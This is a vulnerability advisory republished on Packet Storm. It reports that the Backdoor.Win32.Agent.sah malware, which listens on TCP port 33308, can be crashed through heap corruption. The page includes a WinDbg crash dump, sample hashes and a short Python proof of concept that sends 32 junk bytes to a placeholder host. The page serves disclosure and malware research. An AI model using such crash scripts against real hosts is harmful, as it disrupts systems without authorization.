what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Backdoor.Win32.Agent.sah MVID-2021-0386 Heap Corruption

Backdoor.Win32.Agent.sah MVID-2021-0386 Heap Corruption
Posted Nov 1, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Agent.sah malware suffers from a heap corruption vulnerability.

tags | exploit
systems | windows
SHA-256 | 9bd7d625393c123503e2aacbba917dba574c419749f4f776de7c51f373105884

Backdoor.Win32.Agent.sah MVID-2021-0386 Heap Corruption

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3ee7a90b5fc3f2b7ba68911e8220df17.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.sah
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 33308. Third-party attackers who can reach infected systems can send a 32 byte junk payload causing a heap corruption overwriting the ECX register.
Type: PE32
MD5: 3ee7a90b5fc3f2b7ba68911e8220df17
Vuln ID: MVID-2021-0386
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 11/01/2021

Memory Dump:
(248.13b0): Unknown exception - code c0000017 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414148 edx=00000053 esi=00000003 edi=00000003
eip=7709ed3c esp=046bf26c ebp=046bf3fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7709ed3c c21400 ret 14h

0:004> .ecxr
eax=046bfba8 ebx=046bfc40 ecx=41414148 edx=00000053 esi=0029b000 edi=00000000
eip=77103c59 esp=046bfba8 ebp=046bfc00 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!RtlpAllocateHeapRaiseException+0x3b:
77103c59 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:046bfbfc=fdfa2f2d

0:004> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe

FAULTING_IP:
ntdll!RtlpAllocateHeapRaiseException+3b
77103c59 8b4dfc mov ecx,dword ptr [ebp-4]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77103c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)
ExceptionCode: c0000017
ExceptionFlags: 00000000
NumberParameters: 1
Parameter[0]: 41414148

DEFAULT_BUCKET_ID: HEAP_CORRUPTION

PROCESS_NAME: Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe

ERROR_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.

EXCEPTION_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.

EXCEPTION_PARAMETER1: 41414148

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

ADDITIONAL_DEBUG_TEXT: Enable Pageheap/AutoVerifer

FAULTING_THREAD: 000013b0

PRIMARY_PROBLEM_CLASS: HEAP_CORRUPTION

BUGCHECK_STR: APPLICATION_FAULT_HEAP_CORRUPTION

LAST_CONTROL_TRANSFER: from 7707173a to 77103c59

STACK_TEXT:
046bfc00 7707173a 13145b00 02450000 00030988 ntdll!RtlpAllocateHeapRaiseException+0x3b
046bfc40 770713ee 0000000c 00000000 13145b00 ntdll!RtlpAllocateHeapInternal+0x33a
046bfc5c 13142094 02450000 0000000c 41414140 ntdll!RtlAllocateHeap+0x3e
WARNING: Stack unwind information not available. Following frames may be wrong.
046bfc74 1314214c 41414140 046bfca0 131427f2 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x2094
046bfc80 131427f2 41414140 00000008 0246d000 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x214c
046bfca0 13145c3e 41414140 0246cfe0 00000000 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x27f2
046bff80 73df8654 0246cfe0 73df8630 4a421bc1 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x5c3e
046bff94 77094a77 0246cfe0 fdfa2cf1 00000000 kernel32!BaseThreadInitThunk+0x24
046bffdc 77094a47 ffffffff 770b9ea9 00000000 ntdll!__RtlUserThreadStart+0x2f
046bffec 00000000 13145b00 0246cfe0 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: ~4s; .ecxr ; kb

SYMBOL_NAME: heap_corruption!heap_corruption

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: heap_corruption

IMAGE_NAME: heap_corruption

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAILURE_BUCKET_ID: HEAP_CORRUPTION_c0000017_heap_corruption!heap_corruption

BUCKET_ID: APPLICATION_FAULT_HEAP_CORRUPTION_heap_corruption!heap_corruption

Followup: MachineOwner


Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=33308

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="A"*32
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.Agent.sah / Heap Corruption")
print("MD5: 3ee7a90b5fc3f2b7ba68911e8220df17")
print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close